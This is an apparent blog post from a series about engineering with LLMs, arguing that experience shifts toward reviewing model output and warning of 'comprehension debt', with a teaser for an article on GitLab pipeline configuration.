In practice I have found the opposite of what the “AI replaces engineers” conversation suggests.

With LLMs, experienced engineers spend less time writing code and config and more time reviewing output, catching bad patterns and making architectural decisions. The volume of output goes up significantly, which means the demand for quality review goes up with it. And here is the uncomfortable part: a junior engineer can now generate code faster than a senior engineer can critically audit it. The rate-limiting factor that used to keep review meaningful has been removed.

If you do not have the experience to evaluate what the model produces, you are not doing less work. You are just accumulating a gap between how much exists in your codebase and how much anyone genuinely understands. Addy Osmani calls this comprehension debt, and the pattern he describes maps closely to what I have been seeing in practice.

The value of experience has not disappeared. It has moved to a different place in the workflow.

The takeaway

LLMs struggle most where human expertise matters most: architectural decisions, trade-off reasoning, domain-specific behavior. That is not a reason to avoid using them in those areas. It is a reason to stay engaged as the expert when you do.

One of the most concrete examples of this I have seen is GitLab pipelines, where the model is technically correct about YAML and completely wrong about GitLab’s implementation at the same time. If that sounds familiar, that is exactly what the next article in this series is about.